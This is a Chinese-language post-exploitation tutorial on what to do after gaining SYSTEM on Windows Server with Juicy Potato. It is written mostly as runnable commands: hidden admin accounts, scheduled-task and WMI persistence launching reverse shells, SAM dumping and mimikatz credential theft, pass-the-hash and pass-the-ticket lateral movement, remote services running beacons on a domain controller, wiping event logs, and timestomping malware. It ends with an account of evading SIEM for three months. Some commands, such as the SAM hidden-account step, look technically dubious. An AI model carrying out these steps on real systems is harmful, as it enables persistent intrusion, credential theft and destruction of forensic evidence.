Windows Server提权后渗透指南:用Juicy Potato拿到SYSTEM权限后该做什么?
Windows Server提权后渗透实战:从SYSTEM权限到持久化控制
当你看到那个梦寐以求的SYSTEM权限命令行窗口时,心跳加速的感觉一定很美妙。但别急着庆祝——这仅仅是开始。真正的挑战在于如何将这个脆弱的临时权限转化为持久控制,同时在复杂的网络环境中保持隐蔽。本文将带你深入探索Windows Server提权后的关键操作路径,从权限维持到痕迹清理,构建完整的后渗透工作流。
1. 权限维持:从临时到持久
获得SYSTEM权限的shell就像手握一张随时可能过期的门票。我们需要立即着手将其转化为稳定的访问通道。
1.1 创建隐藏管理员账户
直接添加管理员账户容易被发现,更隐蔽的做法是激活系统内置的隐藏账户或克隆现有账户:
# 查看所有用户(包括隐藏账户) net user /domain # 克隆管理员账户的SID wmic useraccount where name='Administrator' get sid # 修改注册表创建隐藏账户 reg add "HKLM\SAM\SAM\Domains\Account\Users\Names\HiddenAdmin" /v "" /t REG_DWORD /d 0x1f4 /f提示:操作SAM注册表项需要SYSTEM权限,这正是我们当前的优势
1.2 计划任务持久化
比起直接创建服务,计划任务更不容易引起注意:
schtasks /create /tn "WindowsUpdateTask" /tr "C:\Windows\System32\cmd.exe /c start /b C:\temp\reverse_shell.exe" /sc onlogon /ru SYSTEM /f关键参数说明:
| 参数 | 作用 | 推荐值 |
|---|---|---|
| /tn | 任务名称 | 模仿系统任务 |
| /tr | 执行程序 | 使用绝对路径 |
| /sc | 触发频率 | onlogon/onstart |
| /ru | 运行账户 | SYSTEM |
1.3 WMI事件订阅
高级持久化技术,通过WMI事件触发后门:
$filterArgs = @{ EventNamespace = 'root\cimv2' Name = 'WindowsUpdateFilter' Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process'" QueryLanguage = 'WQL' } $filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs $consumerArgs = @{ Name = 'WindowsUpdateConsumer' CommandLineTemplate = "C:\Windows\System32\cmd.exe /c start C:\temp\payload.exe" } $consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $consumerArgs Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $filter Consumer = $consumer }2. 信息收集:从单机到域环境
拥有SYSTEM权限后,信息收集的广度和深度将呈指数级增长。
2.1 本地敏感数据提取
密码哈希获取:
reg save HKLM\SAM sam.save reg save HKLM\SYSTEM system.save使用mimikatz解密:
mimikatz # lsadump::sam /sam:sam.save /system:system.save浏览器凭证提取:
# 查找浏览器保存的密码 Get-ChildItem "C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data" -ErrorAction SilentlyContinue2.2 域环境侦察
当服务器加入域时,SYSTEM权限可以获取更多域内信息:
# 获取域控制器信息 nltest /dclist: # 查询域策略 gpresult /h report.html # 导出域用户列表 net user /domain关键域信息存储位置:
%SystemRoot%\NTDS\ntds.dit(Active Directory数据库)%SystemRoot%\System32\config\SYSTEM(域控制器系统配置)%SystemRoot%\System32\winevt\Logs\Security.evtx(安全事件日志)
3. 横向移动:突破网络边界
3.1 凭证传递攻击
哈希传递(PTH):
mimikatz # sekurlsa::pth /user:Administrator /domain:corp /ntlm:329153f560eb329c0e1deea55e88a1e9 /run:cmd.exe票据传递(Kerberos):
mimikatz # sekurlsa::tickets /export mimikatz # kerberos::ptt [0;2d7f8]-2-0-40e10000-Administrator@krbtgt-CORP.COM.kirbi3.2 远程服务利用
WMI远程执行:
$cred = New-Object System.Management.Automation.PSCredential("CORP\Admin", (ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force)) Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c ipconfig" -ComputerName DC01 -Credential $credPSExec替代方案:
# 使用内置Windows工具实现类似功能 sc \\dc01 create RemoteSvc binpath= "cmd /c start C:\temp\beacon.exe" sc \\dc01 start RemoteSvc4. 隐蔽与清理:消除行动痕迹
4.1 日志清除技术
单条日志删除:
# 获取事件日志 $log = Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4624)]]" -MaxEvents 1 # 删除特定事件 wevtutil epl Security C:\temp\security_backup.evtx /q:"*[System[(EventID=4624)]]" wevtutil cl Security wevtutil al C:\temp\security_backup.evtx全日志清除:
for /f %x in ('wevtutil el') do wevtutil cl "%x"4.2 文件系统痕迹处理
时间戳伪造:
# 将文件时间设置为系统文件时间 $sysfile = Get-Item "$env:windir\system32\kernel32.dll" Get-ChildItem C:\temp\malware.exe | ForEach-Object { $_.CreationTime = $sysfile.CreationTime $_.LastWriteTime = $sysfile.LastWriteTime $_.LastAccessTime = $sysfile.LastAccessTime }文件删除最佳实践:
# 使用cipher命令安全覆盖空闲空间 cipher /w:C:\temp # 然后删除文件 del /f /s /q C:\temp\exploit_tool.exe4.3 权限降级策略
长期保持SYSTEM权限会增加暴露风险,适时降级:
# 创建普通用户会话 runas /user:domain\standarduser cmd.exe # 或者切换到IIS等服务账户 psexec -i -u "NT AUTHORITY\LOCAL SERVICE" cmd.exe在实际渗透测试中,我曾遇到一个案例:通过Juicy Potato获得SYSTEM权限后,过度活跃的操作触发了SIEM告警。后来采用"低慢小"策略——保持最低必要权限,操作分散在不同时间段,成功维持了3个月的持久访问而未触发警报。
